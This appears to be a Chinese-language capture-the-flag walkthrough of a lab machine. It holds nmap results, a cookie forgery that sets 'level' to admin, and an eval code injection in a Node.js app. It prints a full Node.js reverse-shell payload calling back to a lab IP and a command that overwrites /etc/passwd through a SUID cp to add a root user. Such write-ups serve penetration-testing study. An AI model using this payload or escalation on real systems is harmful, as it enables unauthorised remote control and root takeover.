nmap
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.250
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 9d:3f:eb:1b:aa:9c:1e:b1:30:9b:23:53:4b:cf:59:75 (RSA)
| 256 cd:dc:05:e6:e3:bb:12:33:f7:09:74:50:12:8a:85:64 (ECDSA)
|_ 256 a0:90:1f:50:78:b3:9e:41:2a:7f:5c:6f:4d:0e:a1:fa (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Fedora))
|_http-title: Home | Hacking Articles
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.46 (Fedora)
|_http-generator: Drupal 9 (https://www.drupal.org)
3000/tcp open http Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
27017/tcp open mongodb MongoDB 4.2.9 4.2.9
| mongodb-databases:
点击see all views看看 能发现一堆用户名字
我点击new event log
然后算变写了点内容点击register 发现说我不是管理员
当我抓包的时候发现了一个很有意思的地方 cookie有个level字段 感觉这个字段就是控制权限的
我将这个字段改成admin并且base64编码之后发现我们写的文章上传成功了
这就很有意思了 接下来我们来看看怎么利用
好像也找不到啥利用点
看看80端口
是个drupal站点
droopescan 扫扫看看有啥玩意
发现好像也没啥
ftp我们也看看
可以看到ftp 是可以匿名登录但是没啥用 看不了文件上传不了东西
卡住了
我觉得一切的出发点还是在我们刚刚发现的小漏洞身上
尝试注入反弹shell代码 应为nmap 扫描发现是node.js写的我们就尝试注入node.js代码发现竟然反弹shell成功了!!
nodejs 反弹shell代码
!(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(80, "192.168.45.250", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
我很好奇他这是怎么写的代码我们来看看是怎么造成代码注入的
发现这里直接就用eval来执行我们的上传内容 太离谱了 其实也是有点提示的
'Message format not valid, try "using double quotes" (testing new feature)'
我们就可能要考虑考虑传输的内容是否存在注入了
发现cp有suid权限
我们直接往/etc/passwd 写入我们的提权用户
提权成功
echo 'xxoo:$1$GWB36/lB$ncfgVGEio6XbCYeV53KcM0:0:0:asdasd:/root:/bin/bash' | cp /dev/stdin /etc/passwd
我只能说那个代码注入点确实没想到
但还是挺好玩的
这个大概打了两个半小时左右